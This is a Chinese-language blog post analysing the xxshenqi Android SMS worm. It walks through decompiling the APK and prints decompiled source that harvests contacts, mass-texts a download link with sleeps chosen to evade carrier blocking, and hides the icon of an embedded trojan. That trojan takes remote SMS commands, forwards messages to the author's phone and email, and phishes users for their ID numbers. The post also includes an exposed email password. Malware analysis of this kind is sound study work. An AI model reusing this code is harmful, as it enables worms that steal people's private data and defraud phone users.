xxshenqi分析報告

背景


    今年七夕爆發了一場大規模手機病毒傳播,apk的名字叫做xxshenqi。中了這個病毒的用戶會羣發手機所有聯繫人一條信息,內容是包含這個apk下載的鏈接,同時用戶的聯繫人信息和短信會被竊取,造成隱私泄露和電話扣費的危害。事實上,xxshenqi.apk只是一個外殼,達到擴散及得到用戶的身份證和姓名的目的,它解壓後會發現還內嵌有一個com.android.Trogoogle.apk的木馬程序,這個程序能夠控制用戶短信,包括讀取,發送和僞造。


反編譯


    由於軟件的作者沒有進行代碼混淆,所以對apk反編譯之後的代碼一目瞭然。


前期準備:

1.解壓軟件    (解壓apk,獲得classes.dex)

2.dex2jar    (將apk的classes.dex轉化爲jar文件)

3.jd-gui    (反編譯工具,直接查看jar包的源代碼)

4.xxshenqi.apk    (樣本)


步驟:

1.用解壓軟件把xxshenqi.apk解壓出來,找到一個classes.dex文件,這個是安卓源碼編譯過的字節碼包

2.將這個classes.dex文件複製到dex2jar.bat同一目錄下

3.cmd到該目錄下,運行命令>> d2j-dex2jar.bat classes.dex

4.得到一個classes_dex2jar.jar文件

5.用jd-gui.exe打開這個jar文件,就可以看到源代碼了

6.用1-5步驟得到assets目錄下的com.android.Trogoogle.apk的源代碼


代碼分析


包名:com.example.xxshenqi

                                                                                    |->點擊登陸按鈕->永遠無法登陸成功

程序運行的步驟是:WelcomeActivity->MainActivity{

                                                                                    |->點擊註冊按鈕->RegisterActivity


WelcomeActivity

首先可以發現WelcomeActivity是最開始的歡迎界面,在啓動這個界面的過程中,程序就已經完成以下幾件事:

1.讀取聯繫人信息,包括聯繫人姓名和聯繫人手機號碼

2.向所有聯繫人羣發一條短信

3.羣發完成後向作者發送一條完成短信


接下來分析WelcomeActivity中的ReadCONTACTS方法中的代碼:

private void ReadCONTACTS(Context paramContext)
  {
    this.contactArray = new ArrayList();
    this.context = paramContext;
    this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
    new Thread()
    {
      public void run()
      {
        if (!WelcomeActivity.this.cursor.moveToNext())
        {
          if (WelcomeActivity.this.counts != 99) {}
        }
        else
        {
          String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
          WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
          Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
          ArrayList localArrayList = new ArrayList();
          localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
          for (;;)
          {
            if (!localCursor.moveToNext()) {}
            for (;;)
            {
              localCursor.close();
              WelcomeActivity.this.contactArray.add(localArrayList);
              break;
              WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
              WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
              WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
              try
              {
                if (WelcomeActivity.this.phoneString.length() == 11)
                {
                  sleep(20L);
                  if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) {
                    sleep(5000L);
                  }
                  if (WelcomeActivity.this.counts == 99) {
                    continue;
                  }
                  SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看這個," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
                  WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
                  localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
                  System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
                }
              }
              catch (Exception localException)
              {
                for (;;)
                {
                  localException.toString();
                }
              }
            }
            localArrayList.add(WelcomeActivity.this.phoneString);
          }
        }
        SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 羣發鏈接OK", null, null);
        WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
        localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
        System.out.println("===========================");
        System.out.println("test---->羣發OK");
        System.out.println("============================");
      }
    }.start();
  }

可以看到以下幾條關鍵代碼:


this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

讀取通訊錄


WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));

獲得聯繫人姓名


 WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));

獲得聯繫人手機號碼


在這裏,作者對聯繫人手機號碼做了一些處理,把空格和"+86"前綴去掉,得到11位的手機號碼,在判斷手機號碼爲11位之後,就開始發短信。同時,爲了防止過於快速的發送短信被運營商封禁,作者還做了休眠(sleep()),每條短信休眠20ms,每20條短信休眠5秒,每100條短信清空一下指針。


SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看這個," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)

上面就是發送短信的代碼,也就是廣大用戶收到的那條短信,可以看出第一個參數是接收端的手機號碼,第三個參數是短信內容,其中這裏的代碼phoneString存的是手機號碼,nameString存的是聯繫人名字。


SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 羣發鏈接OK", null, null);

最後,羣發成功後就會發送一條信息給作者。這裏也可以看到作者的手機號碼。


MainActivity

在前面程序完成了散播病毒的功能,接下來在MainActivity完成以下幾件事:

1.檢測Trogoogle子包是否已經安裝,如果沒有,就引導用戶去安裝,然後找到assets目錄下的com.android.Trogoogle.apk安裝

2.安裝成功後會發一條信息給作者,表示用戶已經中了木馬

3.此時到了程序主界面,如果用戶選擇“登陸",就先對網絡進行檢測,事實上用戶是永遠不可能登陸成功的,因爲若用戶輸入的密碼大於等於6位,會顯示"正在驗證,請稍後..."“密碼錯誤或賬號不存在”,若用戶輸入的密碼小於6位,會顯示"請輸入正確的密碼或賬號"(傳說中的坑爹);如果用戶選擇"註冊",那麼就會到了RegisterActivity進行註冊


檢測和安裝Trogoogle

if (!detectApk("com.example.com.android.trogoogle"))
    {
      System.out.println("host開始安裝==============================");
      String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
      retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
      showInstallConfirmDialog(this, str);
    }</span>
<span style="font-size:18px;">  public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
  {
    try
    {
      File localFile = new File(paramString2);
      if (localFile.exists()) {
        return true;
      }
      localFile.createNewFile();
      InputStream localInputStream = paramContext.getAssets().open(paramString1);
      FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
      byte[] arrayOfByte = new byte[1024];
      boolean bool;
      for (;;)
      {
        int i = localInputStream.read(arrayOfByte);
        if (i == -1)
        {
          localFileOutputStream.flush();
          localFileOutputStream.close();
          localInputStream.close();
          bool = true;
          break;
        }
        localFileOutputStream.write(arrayOfByte, 0, i);
      }
      AlertDialog.Builder localBuilder;
      return bool;
    }
    catch (IOException localIOException)
    {
      Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
      localBuilder = new AlertDialog.Builder(paramContext);
      localBuilder.setMessage(localIOException.getMessage());
      localBuilder.show();
      localIOException.printStackTrace();
      bool = false;
    }
  }
  
  public void showInstallConfirmDialog(final Context paramContext, final String paramString)
  {
    AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
    localBuilder.setIcon(2130837592);
    localBuilder.setTitle("未安裝資源包");
    localBuilder.setMessage("請先安裝資源包,資源包已整合至APK,點擊安裝即可安裝。");
    localBuilder.setPositiveButton("安裝", new DialogInterface.OnClickListener()
    {
      public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
      {
        try
        {
          String str = "chmod 777 " + paramString;
          Runtime.getRuntime().exec(str);
          Intent localIntent = new Intent("android.intent.action.VIEW");
          localIntent.addFlags(268435456);
          localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
          paramContext.startActivity(localIntent);
          return;
        }
        catch (IOException localIOException)
        {
          for (;;)
          {
            localIOException.printStackTrace();
          }
        }
      }
    });
    localBuilder.show();
  }

登陸
 public void onClick(View paramAnonymousView)
      {
        if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
        {
          String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
          MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
          MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
          return;
        }
        if (!MainActivity.this.goToNetWork())
        {
          Toast.makeText(MainActivity.this, "無法連接,請檢查您的網絡!", 0).show();
          return;
        }
        if (MainActivity.this.pass.getText().toString().length() >= 6)
        {
          Toast.makeText(MainActivity.this, "正在驗證,請稍後...", 0).show();
          Toast.makeText(MainActivity.this, "密碼錯誤或賬號不存在!", 0).show();
          return;
        }
        Toast.makeText(MainActivity.this, "請輸入正確的賬號或密碼", 0).show();
      }


RegisterActivity

public void onClick(View paramAnonymousView)
      {
        String str = RegisterActivity.this.idEditText.getText().toString();
        if (str.length() != 18)
        {
          Toast.makeText(RegisterActivity.this, "請輸入正確的身份證號", 0).show();
          return;
        }
        int i = Integer.parseInt(str.substring(6, 10));
        int j = Integer.parseInt(str.substring(10, 12));
        int k = Integer.parseInt(str.substring(12, 14));
        if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31))
        {
          Toast.makeText(RegisterActivity.this, "請輸入正確的身份證號", 0).show();
          return;
        }
        if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4))
        {
          Toast.makeText(RegisterActivity.this, "請輸入正確的姓名", 0).show();
          return;
        }
        SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主機,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份證號爲:" + str, null, null);
        Toast.makeText(RegisterActivity.this, "註冊成功!", 0).show();
        RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
      }

這個註冊的Activity獲取了用戶填寫的姓名和身份證號,註冊完成後這些信息會以短信的形式發送到作者的手機上。同時,從上面的代碼可以看出作者也對姓名和身份證號做了簡單的校驗。

分析完掩人耳目的外殼,現在來看裏面的木馬程序


包名:example.com.android.trogoogle


MainActivity

在這個入口程序中,主要的功能是實現隱藏圖標。

protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    requestWindowFeature(1);
    setContentView(2130903063);
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    System.out.println("APP圖標隱藏成功==============================");
    Intent localIntent = new Intent();
    localIntent.setClass(this, ListenMessageService.class);
    startService(localIntent);
    System.out.println(" startService成功==============================");
    System.out.println("--------->>>finish()");
    finish();
  }

ListenMessageService

這裏有個比較重要的類SmsObserver,顧名思義,是用來監控短信的。裏面包含了SEND查詢和RECV查詢,以及幾種處理狀態。當發件箱有變化時,就會進入SEND查詢;當收件箱有變化時就會進入RECV查詢。


BroadcastRecvMessage

RECV有幾種指令,包括

readmessage指令就會讀取所有短信並且發送到作者的郵箱中;

sendmessage指令就會發送指定的內容到指定的號碼;

makemessage指令僞造短信


if (!str5.equals("readmessage")) {
          break label188;
        }
        System.out.println("木馬收到發送郵件命令==============================");
        String str10 = ReadAllMessage(paramContext);
        Intent localIntent4 = new Intent(paramContext, MySendEmailService.class);
        localIntent4.putExtra("String", str10);
        paramContext.startService(localIntent4);
        abortBroadcast();
        continue;
        if (!str5.equals("sendmessage")) {
          break label188;
        }
        System.out.println("木馬收到發送短信命令==============================");
        int n = str2.lastIndexOf('/');
        String str8 = str2.substring(k + 1, n);
        String str9 = str2.substring(n + 1, str2.length());
        SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
        System.out.println("木馬發送短信成功================================");

if (!str5.equals("makemessage")) {
          break label188;
        }
        System.out.println("木馬收到僞造短信命令==============================");
        int m = str2.lastIndexOf('/');
        String str6 = str2.substring(k + 1, m);
        String str7 = str2.substring(m + 1, str2.length());
        Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class);
        localIntent3.putExtra("address", str6);
        localIntent3.putExtra("body", str7);
        paramContext.startService(localIntent3);

同時還有一些作者判定的信息內容也會發送給作者(比如,淘寶和普通的信息)

System.out.println("木馬覺得淘寶信息==============================");
      str4 = "【特殊消息】" + str2;
      if (str4.length() > 60)
      {
        localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
        localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
      }


System.out.println("木馬覺得是普通信息==============================");
      localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);


MySendEmailService

這裏作者暴露了他的個人郵箱和口令

protected void onHandleIntent(Intent paramIntent)
  {
    System.out.println("木馬進入MySendEmailService==============================");
    String str = paramIntent.getStringExtra("String");
    System.out.println("木馬開始發送郵件============================");
    MailSenderInfo localMailSenderInfo = new MailSenderInfo();
    localMailSenderInfo.setMailServerHost("smtp.qq.com");
    localMailSenderInfo.setMailServerPort("25");
    localMailSenderInfo.setValidate(true);
    localMailSenderInfo.setUserName("[email protected]");
    localMailSenderInfo.setPassword("lishulili.");
    localMailSenderInfo.setFromAddress("[email protected]");
    localMailSenderInfo.setToAddress("[email protected]");
    localMailSenderInfo.setSubject("信息");
    localMailSenderInfo.setContent(str);
    new SimpleMailSender().sendTextMail(localMailSenderInfo);
    SimpleMailSender.sendHtmlMail(localMailSenderInfo);
    System.out.println("木馬完成發送郵件=============================");
    System.out.println("木馬離開MySendEmailService=============================");
    System.out.println("木馬killProcess==============================");
    Process.killProcess(Process.myPid());
  }

當然,現在口令已經被改了。


總結

據作者本人說沒想過影響會那麼大。確實,社工部分非常簡陋,傳播的信息內容只是”xxx,看這個,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,這樣子看來,毫不猶豫點擊這個鏈接看上去挺傻的,因爲發送者什麼都沒有說明,可事實上確實有很多用戶中招了。

雖然很多人說作者做這個東西其實沒什麼技術含量,但是他才大一,並且想做就做了,這點挺佩服的,如果能增加一點法律意識可能就沒那麼悲劇了。


後記

這個程序在安全大牛眼裏可能是一個玩具,但是對於我來說拿來練手就剛剛好了。第一次反編譯和分析apk,有種莫名的成就感。不過文章寫出來,似乎表達差了一點。最後非常感謝CJ給我提供了樣本。


參考

http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html

http://www.cnblogs.com/qxzy/p/3889296.html


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章